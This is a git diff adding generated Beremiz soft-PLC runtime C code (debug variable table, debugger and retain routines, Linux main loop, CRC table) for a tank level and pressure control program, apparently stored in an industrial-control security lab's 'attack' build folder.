+{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 